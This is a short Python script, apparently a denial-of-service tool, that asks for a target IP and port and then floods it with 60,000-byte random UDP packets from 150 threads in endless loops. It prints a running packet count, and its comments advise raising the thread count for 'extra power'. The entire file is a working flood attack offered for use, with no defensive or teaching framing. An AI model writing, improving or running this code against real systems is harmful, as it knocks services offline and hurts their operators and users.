import socket
import random, threading, time
THREADS = 150#increase this number for extra power(150 is the max most personal computers can handle)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ip = input("IP Target : ")
sent = 0
port = int(input("Port(Use 80 for http and 443 for https):"))
def attack():
global ip
global port
global sent
bytes = random._urandom(60000)
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
ddos = []
for x in range(0,THREADS):
ddos.append(threading.Thread(target=attack))
ddos[-1].start()
print(str(x+1)+" threads started")
while True:
print(str(sent)+" packets sent")
time.sleep(0.5)#decrease this number to show packet counts quicker